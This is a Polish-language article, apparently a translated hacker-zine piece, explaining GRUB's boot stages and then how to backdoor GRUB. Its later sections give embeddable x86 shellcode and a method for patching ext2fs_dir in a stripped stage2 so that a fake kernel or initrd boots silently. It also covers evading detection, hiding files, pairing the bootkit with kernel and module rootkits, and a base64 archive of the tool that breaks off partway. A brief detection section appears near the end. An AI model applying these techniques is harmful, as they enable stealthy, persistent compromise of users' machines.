stage2 jest ładowany do adresu 0800:0000.

----[ 1.3 - stage1.5 i stage2

 Wiemy że Grub jest loaderem wrażliwych systemów plików, tzn. Grub może
zrozumieć i czytać pliki z różnych systemów plików, bez pomocy systemu
operacyjnego. Ale jak? Sekret tkwi w stage1.5 i stage2. Spójrzmy na
/boot/grub, znajdziesz tam następujace pliki:
stage1, stage2, e2fs_stage1_5, fat_stage1_5, ffs_stage1_5, minix_stage1_5,
reiserfs_stage1_5, ...
Mamy wymienione stage1 w stage1.2, plik stage1 zostanie zainstalowany w MBR
lub w innym boot-sektorze. Więc nawet jeśli plik stage1 zostałby usunięty,
system zbootuje sie nienaruszony.
 Co z zerowaniem plików stage2 i *_stage1_5? Czy system może nadal bootować?
Odpowiedź brzmi 'nie' dla kwestii zerowania i 'tak' dla bootowania. Jesteś
zaskoczony tą odpowiedzią? Wiec kontynuuj czytanie...

 Zobaczmy jak *_stage1_5 i stage2 są generowane:
 
-------------------------------- POCZĄTEK -----------------------------------
e2fs_stage1_5:
gcc -o e2fs_stage1_5.exec -nostdlib -Wl,-N -Wl,-Ttext -Wl,2000
   e2fs_stage1_5_exec-start.o e2fs_stage1_5_exec-asm.o
   e2fs_stage1_5_exec-common.o e2fs_stage1_5_exec-char_io.o
   e2fs_stage1_5_exec-disk_io.o e2fs_stage1_5_exec-stage1_5.o
   e2fs_stage1_5_exec-fsys_ext2fs.o e2fs_stage1_5_exec-bios.o  
   objcopy -O binary e2fs_stage1_5.exec e2fs_stage1_5
            
stage2:
gcc -o pre_stage2.exec -nostdlib -Wl,-N -Wl,-Ttext -Wl,8200
   pre_stage2_exec-asm.o pre_stage2_exec-bios.o pre_stage2_exec-boot.o
   pre_stage2_exec-builtins.o pre_stage2_exec-common.o
   pre_stage2_exec-char_io.o pre_stage2_exec-cmdline.o
   pre_stage2_exec-disk_io.o pre_stage2_exec-gunzip.o
   pre_stage2_exec-fsys_ext2fs.o pre_stage2_exec-fsys_fat.o
   pre_stage2_exec-fsys_ffs.o pre_stage2_exec-fsys_minix.o
   pre_stage2_exec-fsys_reiserfs.o pre_stage2_exec-fsys_vstafs.o
   pre_stage2_exec-hercules.o pre_stage2_exec-serial.o
   pre_stage2_exec-smp-imps.o pre_stage2_exec-stage2.o
   pre_stage2_exec-md5.o
   objcopy -O binary pre_stage2.exec pre_stage2
   cat start pre_stage2 > stage2
--------------------------------- KONIEC ------------------------------------

 Zgodnie z powyższym, powinno to wyglądać tak:
 
 e2fs_stage1_5:
   [start.S] [asm.S] [common.c] [char_io.c] [disk_io.c] [stage1_5.c]
   [fsys_ext2fs.c] [bios.c]
 stage2:
   [start.S] [asm.S] [bios.c] [boot.c] [builtins.c] [common.c] [char_io.c]
   [cmdline.c] [disk_io.c] [gunzip.c] [fsys_ext2fs.c] [fsys_fat.c]
   [fsys_ffs.c] [fsys_minix.c] [fsys_reiserfs.c] [fsys_vstafs.c]
   [hercules.c] [serial.c] [smp-imps.c] [stage2.c] [md5.c]

 Widzimy że e2fs_stage1_5 i stage2 są podobne. Ale e2fs_stage1 jest
mniejszy i zawiera zasadnicze moduły (wejście i wyjście dysku, obsługa
łancuchów, inicjalizacja systemu, obsługa systemu plików ext2/3), dopóki
stage2 jest wszystko-w-jednym, dopóty zawiera wszystkie moduły systemów
plików, wyświetlanie, szyfrowanie, etc.

 start.S jest bardzo ważny dla Gruba, stage1 załaduje start.S do 0200:0000
(jeśli stage1_5 jest skonfigurowany) lub 0800:0000 (jeśli nie), wtedy skoczy
do tego adresu. Zadanie start.S jest bardzo proste (tylko 512 bajtów),
ładuje on resztę czśści stage1_5 lub stage2 do pamięci. Pytaniem jest, skoro
system plików powiązał kod nie mogąc go załadować, to skąd Grub zna
lokalizację reszty sektorów? start.S ma pewniem trik:

-------------------------------- POCZĄTEK -----------------------------------
blocklist_default_start:
         .long 2  /* to jest paramentr startowy sektora, w logicznym
                     sektorze ze startu dysku, sektor 0 */
blocklist_default_len:  /* to jest liczba sektorów do czytania */
#ifdef STAGE1_5
         .word 0  /* komenda "install" dokona zapełnienia  */
#else
         .word (STAGE2_SIZE + 511) >> 9
#endif
blocklist_default_seg:
#ifdef STAGE1_5
         .word 0x220
#else
         .word 0x820  /* to jest segment adresu rozpoczynającego
                         ładowanie danych  */
#endif
firstlist:  /* to jest etykieta która musi być po liście danych!!! */
--------------------------------- KONIEC  ------------------------------------

 Na przykład:
# hexdump -x -n 512 /boot/grub/stage2
...
00001d0  [ 0000    0000    0000    0000 ][ 0000    0000    0000    0000 ]
00001e0  [ 62c7    0026    0064    1600 ][ 62af    0026    0010    1400 ]
00001f0  [ 6287    0026    0020    1000 ][ 61d0    0026    003f    0820 ]

 Powinniśmy to rozumieć (na wspak) jako: załaduj sektor 0x3f (start z
No.0x2661d0) 
do 0x0820:0000, załaduj sektor 0x20 (start z No.0x266287) do 0x1000:0000,
załaduj sektor 0x10 (start z No.0x2662af) do 0x1400:00, załaduj sektor 0x64
(start z No.0x2662c7) do 0x1600:0000. 
 W mojej dystrybucji, stage2 ma 0xd4(1+0x3f+0x20+0x10+0x64) sektorów,
rozmiar pliku wynosi 108328 bajtów, dwie pary (rozmiar sektora ma 512).

 Kiedy start.S zakończy uruchamianie, stage1_5 i stage2 są w pełni
załadowane, start.S skacze do asm.S i kontunuuje wykonywanie. 

 Wciąż pozostaje problem, kiedy stage1.5 jest konfigurowany? Faktycznie,
stage1.5 nie jest potrzebny. Ma zadanie załadować /boot/grub/stage2 do
pamięci. Ale zwraca uwagę na to że stage1.5 używa systemu plików do
załadowanie pliku stage2: 
Krzywo zanalizowane ale... pobiera inode stage2, potem blok-listę stage2.
Więc jeśli stage1.5 jest skonfigurowany to stage2 jest ładowany przez system
plików; jesli nie, stage2 jest ładowany przez stage2_sector w stage1 i listę 
sektorów w start.S stage2.
 Żeby pokazać to w czystszej postaci, przedstawię nastepujący scenariusz:
(ext2/ext3)
# mv /boot/grub/stage2 /boot/grub/stage2.bak
Jeśli stage1.5 jest skonfigurowany, bootowanie zawiedzie, stage1.5 nie może
znaleźć /boot/grub/stage2 w systemie plików. Ale jeśli stage1.5 nie jest
skonfigurowany, bootowanie powiedzie się! Jest tak ponieważ mv nie może
zmienić fizycznego wyglądu stage2, wiec stage2_sector pozostaje ten sam,
lista sektorów w stage2 także.

 Teraz, stage1 (-> stage1.5) -> stage2. Wszystko jest na pozycji. asm.S
przełączy się na tryb chroniony, otwiera /boot/grub/grub.conf (lub
menu.lst), pobiera konfigurację, wyświetla menu, i czeka na polecenia od
użytkownika. Po wyborze jądra przez użytkownika, Grub ładuje odpowiedni
jego obraz (czasami także obraz ram-dysku), i bootuje jądro.

----[ 1.4 - Grub util

 Jeżeli Grub został nadpisany przez Windows, mozez użyc Grub util do
ponownej instalacji Gruba. 

# grub
---
grub > find /grub/stage2  <- jeżeli masz boot-partycje 
lub
grub > find /boot/grub/stage2  <- jeżeli nie masz boot-partycji
---
(hd0,0)  <= rezultat 'find'
grub > root (hd0,0)  <- ustawienie głównego katalogu boot-partycji
---
grub > setup (hd0)  <- jeśli chcesz zainstalować Gruba w MBR
lub
grub > setup (hd0,0)  <- jeśli chcesz zainstalować Gruba w boot-sektorze
---                         
Sprawdzam czy "/boot/grub/stage1" istnieje... tak
Sprawdzam czy "/boot/grub/stage2" istnieje... tak
Sprawdzam czy "/boot/grub/e2fs_stage1_t" istnieje... tak
Uruchamiam "embed /boot/grub/e2fs_stage1_5 (hd0)"... 22
Sektory zostały umieszczone pomyślnie.  <= jeżeli zainstalowałeś Gruba w
                                           boot-sektorze, to zawiedzie
Uruchamianie "install /boot/grub/stage1 d (hd0) (hd0)1+22 p (hd0,0) 
/boot/grub/stage2 /boot/grub/grub.conf"... pomyślne
Ukonczono

 Możliwe że zobaczymy próby umieszczenia stage1.5 przez Gruba. Jeżeli Grub
jest zainstalowany w MBR, stage1.5 jest lokowany po MBR, rozmiar 22
sektorów. Jeśli Grub jest zainstalowany w boot-sektorze, nie ma
dostatecznego miejsca na umieszczenie stage1.5 (superblok ma offset 0x400
dla partycji ext2/ext3, tylko 0x200 dla stage1.5), więc komenda 'embed'
zawiedzie. 

 Aby dowiedzieć się więcej zajżyj do manuala Gruba i kodu źródłowego.

--[ 2.0 - Możliwość załadowania określonego pliku

 Grub ma swój własny mini system plików dla ext2/ext3. System ten używa
grub_open(), grub_read() i grub_close() do otwierania, czytania oraz
zamykania plików. Teraz spojrzyj na ext2fs_dir:

/* warunki początkowe: ext2fs_mount jest już wykonane, więc superblok w 
 * buforze znany jest jako SUPERBLOCK 
 * wartości zwracane: 0 po błędzie, wartość niezerowa jeżeli poszukiwanie
 * pliku zakonczyło się pomyślnie
 * warunki końcowe: jeżeli została zwrócona wartość niezerowa, bufor znany
 * jest jako INODE, zawiera inode pliku którego probowaliśmy szukać
 * efekty uboczne: zaśmieca przestrzeń bufora GROUP_DESC
 */
int ext2fs_dir (char *dirname) {
  int current_ino = EXT2_ROOT_INO;  /* start przy głównym katalogu */
  int updir_ino = current_ino;  /* źródło aktualnego katalogu */
  ...
}

 Przypuszczalnie linia w grub.conf wygląda tak: 
kernel=/boot/vmlinuz-2.6.11 ro root=/dev/hda1
grub_open wywołuje ext2fs_dir("/boot/vmlinuz-2.6.11 ro root=/dev/hda1"),
ext2fs_dir zostawia informacje o inode w INODE, wtedy grub_read może użyć
INODE do pobrania danych z każdego offsetu (mapa znajduje się w
INODE->i_blocks[] dla bezpośrednich bloków).

 Wewnątrz ext2fs_dir znajduje się:
1. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
   ^ inode = EXT2_ROOT_INO, zostawia informacje o inode w INODE;
2. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
   ^ znajdź dentry w '/', zostawia informacje o inode '/boot' w INODE;
3. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
   ^ znajdź dentry w '/boot', zostawia informacje o inode
   '/boot/vmlinuz-2.6.11' w INODE ;
4. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
   ^ wskaźnikiem jest spacja, INODE jest regularnym plikiem, zwraca 1 po
   sukcesie, INDOE zawiera informacje o '/boot/vmlinuz-2.6.11'.
   
 Jeżeli pasożytujemy ten kod, i zwraca on informacje o inode file_fake, Grub
szczęśliwie załaduje file_fake wobec tego jako /boot/vmlinuz-2.6.11.

 Mozemy zrobić to:
1. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
   ^ inode = EXT2_ROOT_INO;
2. boot/vmlinuz-2.6.11 ro root=/dev/hda1
   ^ zmień to na 0x0, zmień EXT2_ROOT_INO na inode file_fake;
3. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
   ^ EXT2_ROOT_INO(file_fake) informacja jest w INODE, wskaźnikiem jest 0x0,
   INODE jest regularnym plikiem, zwraca 1.
   
 Ponieważ zmieniliśmy argument ext2fs_dir, mogą pojawić się efekty uboczne?
Nie zapominaj o drugiej części "ro root=/dev/hda1", to jest parametr
podawany do jądra. Bez niego jądro nie będzie się bootowało poprawnie. 
(P.S.: Tylko "cat/proc/cmdline" widzi parametr jaki ma twoje jądro.)
 Więc zobaczmy wnętrze "kernel=...", procesu kernel_func, linie "kernel=...":

static int
kernel_func (char *arg, int flags)
{
  ...
  /* Kopiuje linie komend do MB_CMDLINE */
  grub_memmove(mb_cmdline, arg, len + 1);
  kernel_type = load_image(arg, mb_cmdline, suggested_type, load_flags);
  ...
}

 Widzisz? arg i mb_cmdline ma dwie kopie łańcucha "/boot/vmlinuz-2.6.11 ro
root=/dev/hda1" (nie ma tu zakładki, więc właściwie grub_memmove jest taka
sama jak grub_memcpy). W load_image możesz znaleźć arg i mb_cmdline nie
zmieszane ze sobą. Wniosek z tego taki ze NIE MA efektów ubocznych. Jeżeli
nie wierzysz, możesz dodać trochę kodu pobierającego rzeczy z powrotem.

--[ 3.0 - Techniki hakowania

 Techniki hakowania powinny generalnie działać na wszystkich wersjach Gruba
(wyłączajćc grub-ng) ze wszystkimi dystrybucjami Linuksa.

----[ 3.1 - Jak załadować file_fake

 Możemy dodać skok przy rozpoczęciu ext2fs_dir, potem zmieniamy pierwszy znak
argumentu ext2fs_dir na 0, zmieniamy "current_ino = EXT2_ROOT_INO" na
"current_ino = INODE_OF_FAKE_FILE", następnie skaczemy do tyłu. 
 Uwaga: Tylko gdy spełniony jest pewien warunek możesz załadować file_fake.
Np.: Kiedy system chce otworzyć /boot/vmlinuz-2.6.11, wtedy zwracany jest 
/boot/file_fake; dopóki system chce /boot/grub/grub.conf, poprawny plik
powinien być zwracany. Jeśli kody nadal zwracają /boot/file_fake, ups, brak
wyświetlonego menu. 
 Skok jest prosty. Ale jak zmienić "current_ino = INODE_OF_FAKE_FILE"? 
int ext2fs_dir (char *dirname) {
  int current_ino = EXT2_ROOT_INO;  /* start przy głównym katalogu */
  int updir_ino = current_ino;  /* zrodlo aktualnego katalogu */
...

 EXT2_ROOT_INO wynosi 2, wiec current_ino i updir_ino są inicjowane na 2.
Odpowiedni kod w asemblerze powinien wyglądać jak "movl $2,
0xffffXXXX($esp)". Ale miej na uwadze optymizacje: current_ino i updir_ino
jest przydzielana liczba 2, optymalnym rezulatatem może być "movl $2,
0xffffXXXX($esp)" i "movl $2, 0xffffYYYY($esp)", lub "movl $2, %reg", potem
"movl %reg, 0xffffXXXX($esp)" "movl %reg, 0xffffYYYY($esp)", lub więcej
wariantów. Typem jest int, wartością jest 2, więc możliwość "xor %eax, %eax;
inc %eax; inc %eax" jest niska, to jest to samo co "xor %eax, %eax; movb
$0x2, %al". To czego musimy to szukać 0x00000002 od ext2fs_dir do ext2fs_dir +
dno (np.: 100 bajtow), wtedy zmieniamy 0x00000002 na INODE_OF_FAKE_FILE.

static char ext2_embed_code[] = {
   0x60,  /* pusha*/
   0x9c,  /* pushf*/
   0xeb, 0x28,  /* jmp 4f*/
   0x5f,  /* 1: pop %edi*/
   0x8b, 0xf,  /* movl (%edi), %ecx*/
   0x8b, 0x74, 0x24, 0x28,  /* movl 40(%esp), %esi*/
   0x83, 0xc7, 0x4,  /* addl $4, %edi*/
   0xf3, 0xa6,  /* repz cmpsb %es:(%edi), %ds:(%esi)*/
   0x83, 0xf9, 0x0,  /* cmp $0, %ecx*/
   0x74, 0x2,  /* je 2f*/
   0xeb, 0xe,  /* jmp 3f*/
   0x8b, 0x74, 0x24, 0x28,  /* 2: movl 40(%esp), %esi*/
   0xc6, 0x6, 0x00,  /* movb $0x0, (%esi)  '\0' */
   0x9d,  /* popf*/
   0x61,  /* popa*/
   0xe9, 0x0, 0x0, 0x0, 0x0,  /* jmp change_inode*/
   0x9d,  /* 3: popf*/
   0x61,  /* popa*/
   0xe9, 0x0, 0x0, 0x0, 0x0,  /* jmp not_change_inode*/
   0xe8, 0xd3, 0xff, 0xff, 0xff,  /* 4: call 1b*/

   0x0, 0x0, 0x0, 0x0,  /* dlugość plikowej nazwy jądra */
   0x0, 0x0, 0x0, 0x0, 0x0, 0x0,  /* łancuch nazwy pliku, 48B wszędzie */
   0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
   0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
   0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
   0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
   0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
   0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
   0x0, 0x0, 0x0, 0x0, 0x0, 0x0
};

memcpy(buf_embed, ext2_embed_code, sizeof(ext2_embed_code));
Oczywiście możesz napisać swój własny algorytm łancucha porównawczego.

/* Umieszczony kod, druga część, change_inode */
memcpy(buf_embed + sizeof(ext2_embed_code), s_start, s_mov_end - s_start);
modify_EXT2_ROOT_INO_to_INODE_OF_FAKE_FILE();

/* Umieszczony kod, trzecia część, not_change_inode */
memcpy(buf_embed + sizeof(ext2_embed_code) + (s_mov_end - s_start) + 5, 
s_start, s_mov_end - s_start);

 W rezultacie wygląda to tak:
 
 ext2fs_dir:                                   not_change_inode:
   +------------------------+        +--------> +------------------------+
   | push %esp <= jmp embed |        |          | push %esp              |
   | mov %esp, %ebp         |        |          | mov %esp, %ebp         |
   | push %edi              |        |          | push %edi              |
   | push %esi              +--------<          | push %esi              |
   | sub $0x42c, %esp       |        |          | sub $0x42c, %esp       |
   | mov $2, fffffbe4(%esp) |        |          | mov $2, fffffbe4(%esp) |
   | mov $2, fffffbe0(%esp) |        |          | mov $2, fffffbe0(%esp) |
   |back:                   |        |          | jmp back               |
   +------------------------+        |          +------------------------+
   embed:                            +--------> change_inode:
   +------------------------+                   +------------------------+
   | zachowaj rejestry      |                   | push %esp              |
   | porównaj lancuchy      |                   | mov %esp, %ebp         | 
   | jeżeli pasują, goto 1  |                   | push %edi              |
   | jeżeli nie, goto 2     |                   | push %esi              |
   |                        |                   |                        |
   | 1: odtwórz rejestry    |                   | sub $0x42c, %esp       |
   | jmp change_inode       |   INODE_OF_   ->  | mov $?, fffffbe4(%esp) |
   | 2: odtwórz rejestry    |   FAKE_FILE   ->  | mov $?, fffffbe0(%esp) |
   | jmp not_change_inode   |                   | jmp back               |
   |                        |                   +------------------------+
   +------------------------+               

----[ 3.2 - Jak zlokalizować ext2fs_dir

 To jest trudna część. stage2 jest generowany przez objcopy, więc wszystkie
ELF informacje są usunięte - ŻADNYCH TABELI SYMBOLI! Musimy znaleźć jakieś
PATTERN-y żeby zlokalizować ext2fs_dir.

 Pierwszym wyborem jest log2:
#define long2(n) ffz(~(n))
static __inline__ unsigned long ffz (unsigned long word) {
   __asm__ ("bsfl %1, %0" :"=r" (word) :"r" (~word));
   return word;
}
group_desc = group_id >> log2(EXT2_DESC_PER_BLOCK (SUPERBLOCK));

 Pytaniem jest, czy ffz jest deklarowany jako __inline__, który wskazuje czy
MOŻE ta funkcja jest deklarowana jako __inline__, czy MOŻE nie. Więc dajemy
sobie spokój. 

 Następnym wyborem jest SUPERBLOCK->s_inodes_per_group w
group_id = (current_ino - 1) / (SUPERBLOCK->s_inodes_per_group);
#define RAW_ADDR(x) (x)
#define FSYS_BUF RAW_ADDR(0x68000)
#define SUPERBLOCK ((struct ext2_super_block *)(FSYS_BUF))
struct ext2_super_block {
   ...
   __u32 s_inodes_per_group;  /* # Inodes per group */
   ...
}

 Wtedy obliczamy że SUPERBLOCK->s_inodes_per_group wynosi 0x68028. Ten adres
znajduje się tylko w in ext2fs_dir, więc prawdopodobieństwo kolizji jest
niewielkie. Po zlokalizowaniu 0x68028, wracamy z powrotem pobrać start
ext2fs_dir. Nasuwa się następne pytanie, jak zidentyfikować start
ext2fs_dir? Oczywiście możesz z powrotem poszukać 0xc3. Ale co jeśli to jest
tylko część instrukcji w rodzaju operandów? Czasami także gcc dodaje jakiś
lipny kod do poprawiania adresu funkcji (4 bajty/8 bajtów/16bajtow), jak 
wtedy pominąć ten lipny kod? Tylko listą wszystkich kombinacji? 
 Ta metoda jest praktyczna ale nie idealna.
 
 Teraz zauważona fsys_table:
struct fsys_entry fsys_table[NUM_FSYS + 1] {
...
# ifdef FSYS_FAT
{"fat", fat_mount, fat_read, fat_dir, 0, 0},
# endif
# ifdef FSYS_EXT2FS
{"ext2fs", ext2fs_mount, ext2fs_read, ext2fs_dir, 0, 0},
# endif
# ifdef FSYS_MINIX
{"minix", minix_mount, minix_read, minix_dir, 0, 0},
# endif
...
};

 fsync_table jest wywoływana jak to:
if ((*(fsys_table[fsys_type].mount_func)) () != 1)

 Więc naszym trikiem jest:
1. Znaleźć stage2 dla łańcucha "ext2fs", pobrać jego offset, następnie
   przekonwertować offset do adresu pamięci (stage2 startuje z 0800:0000) 
   addr_1.
2. Znaleźć stage2 dla addr_1, pobrać jego offset, następnie pobrać kolejnych
   5 liczb całkowitych, (A, B, C, D, E), A<B ? B<C ? C<addr_1 ? D==0 ? E==0?
   Jeśli jakaś jest "No", goto 1 i kontunuuj poszukiwania.
3. Dalej C jest adresem pamięci ext2fs_dir, przekonwertuj to do offsetu pliku.
   Dobrze, to wszystko.

----[ 3.3 - Jak zhakować Gruba

 Dobrze, więc z pomoca punktów 3.1 i 3.2, możemy zhakować Gruba bardzo
prosto. Pierwszym celem jest stage2. Możemy pobrać adres startowy
ext2fs_dir, dodać gdzies JMP, następnie kopiujemy zamieszczony kod. Ale
gdzie jest 'gdzieś'? Oczywiście koncówka stage2 nie jest doskonała, to
zmieni rozmiar pliku. Możemy wybrać minix_dir jako nasz cel. Co z fat_mount?
Naprawdę jest za ext2fs_dir. Ale odpowiedź brzmi NIE! Zobacz na "root ..."

root_func()->open_device()->attemp_mount()
for (fsys_type = 0; fsys_type < NUM_FSYS 
&& (*(fsys_table[fsys_type].mount_func)) () != 1; fsys_type++);

Zobacz na fsys_table, fat jest przed ext2, więc najpierw jest wywoływane
fat_mount. Jeśli fat_mount jest modyfikowane, dobrze znać rezultat. Do
zrobienia tego bezpiecznie, wybieżemy minix_dir.

 Teraz twój stage2 może załadowac file_fake. Rozmiar pozostaje ten sam ale
wartość hashu zmienia się.

----[ 3.4 - Jak zrobić coś podstępnego

 Dlaczego musimy użyć /boot/grub/stage2? Możemy otrzymać skok stage1 do
stage2_fake (cp stage2 stage2_fake, modyfikacja stage2_fake), więc stage2
pozostaje nienaruszony. 
 Jeżeli skopiujesz stage2 do stage2_fake, stage2_fake nie będzie chciał
pracować. Pamiętasz listy sektorów w start.S? Musisz zmienić listy na
stage2_fake, nie oryginalny stage2. Możesz przywrócić inode, pobrać
i_block[], wtedy są tam block-listy (nie zapomnij dodać offset partycji).
Musisz omijać VPN do pobrania informacji o inode, zobacz [1].
 Odkąd używasz stage2_fake, odpowiedni adres w stage1 powinien być
modyfikowany. Jeżeli stage1.5 nie jest zainstalowany, to proste, zmień tylko
stage2_sector z stage2_orig na stage2_fake (MBR jest zmieniony). Jeśli
stage1.5 jest zainstalowany a ty jesteś leniwy i odważny, możesz pominąć
stage1.5 - modyfikując stage2_address, stage2_sector, stage2_segment stage1.
To jest ryzykowne ponieważ:
1) Jeżeli opcja "virus detection" w BIOS-ie jest włączona, modyfikacja MBR
   zostanie wykryta
2) "Grub stage1.5" i "Grub loading, please wait" zostanie zmienione na "Grub
    stage2". To jest błyskotliwe, możesz to zauważyć na swoim SZYBKIM PC?
    
 Jeżeli chcesz być podstępny, możesz zhakować stage1.5 używając podobnych
technik do tych stosowanych w punktach 3.1 i 3.2. Nie zapomnij zmienić listy
sektorów stage1.5 (start.S). Możesz dodać swój zamieszczony kod na końcu.
 Możesz zrobić więcej podstępnych rzeczy: ukryć stage2_fake/kernel_fake od
FS, przenieść inode_of_stage2 do inode_from_1_to_10. Zobacz [2]. 

--[ 4.0 - Użycie

 W połączeniu z innymi technikami widzisz jak potężny jest nasz hack_grub. 
Notatka: wszystkie pliki powinny być umieszczone na tej samej
partycji! 
1) Kombinacja ze statyczną łatą na jądro
   a) cp kernel.orig kernel.fake
   b) statyczna łata na jądro z kernel.fake[3]
   c) cp stage2 stage2.fake
   d) hack_grub stage2.fake kernel.orig inode_of_kernel.fake
2) Kombinacja z ładowalnym modułem
   a) cp initrd.img.orig initrd.img.fake
   b) do ładowalnego modułu z initrd.img.fake, e.g. ext3.[k]o [4]
   c) cp stage2 stage2.fake
   d) hack_grub stage2.fake initrd.img inode_of_initrd.img.fake
   e) ukrycie initrd.img.fake i stage2.fake (opcjonalne)

--[ 5.0 - Wykrywanie

1) Rzuć okiem na MBR i kolejne 63 sektory, a także na główne boot-sektory.
2) Jeżeli nie 1,
   a) jeśli stage1.5 jest skonfigurowany, porównaj sektory od 3 (pełny adres,
      MBR jest sektorem No. 1) z /boot/grub/e2fs_stage1_5
   b) jeśli stage1.5 nie jest skonfigurowany, sprawdź czy stage2_sector
      wskazuje na prawdziwy plik /boot/grub/stage2
3) Sprawdź poprawność pliku e2fs_stage1_5 i stage2
4) Jeśli nie 3 (Hej, jesteś wykwalifikowanym administratorem?)
   a) jeżeli nie ufasz jądru, wyrzuć je i zrób bajt-do-bajta z jądrem na
      dysku. Zobacz [5] po więcej informacji.
   b) jeżeli nie ufasz modułowi, to trudne wyzwanie, może mógłbyś go
      wyrzucić i zdisasemblować?

--[ 6.0 - Na koniec

 LILO jest innym boot-loaderem, ale jest niewrażliwy na system plików. Więc
nie musi być w niego wbudowany. LILO polega na /boot/bootsect.b i
/boot/map.b. Więc jeśli jesteś leniwy, napisz fałszywy lilo.conf, który
wyświetla a.img ale ładuje b.img. Albo możesz załadować przez LILO
/boot/map.b.fake. Szczegóły zostawiam Tobie. Do dzieła!

 Podziękowania dla madsys i grip2 za pomoc w rozwiązywaniu trudnych
problemów; podziękowania dla airsupply i dla innych ludzi za przykłady
stage2 (Red Hat 7.2/9/as3, Fedora Core 2, Gentoo, Debian i Ubuntu), dzięki
dla zhtq za niektóre komentarze na temat pisania artykułów.



--[ 7.0 - Informacje

[1] Wygląd i implementacja Second Extended Filesystem (e2fs)
    http://e2fsprogs.sourceforge.net/ext2intro.html
[2] Sposoby ukrywania plików w systemie ext2/3 (chiński)
    http://www.linuxforum.net/forum/gshowflat.php?Cat=&Board=security&
Number=545342&page=0&view=collapsed&sb=5&o=all&vc=1 
[3] Statyczne patchowanie Kernela
    http://www.phrack.org/show.php?p=60&a=8
[4] Infekowanie ładowalnych modułów Kernela
    http://www.phrack.org/show.php?p=61&a=10
[5] Sposoby wyszukiwania rootkitów w Kernelu 2.6 (chiński)
    http://www.linuxforum.net/forum/gshowflat.php?Cat=&Board=security&
Number=540646&page=0&view=collapsed&sb=5&o=all&vc=1



--[ 8 - hack_grub.tar.gz

begin-base64 644 hack_grub.tar.gz
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
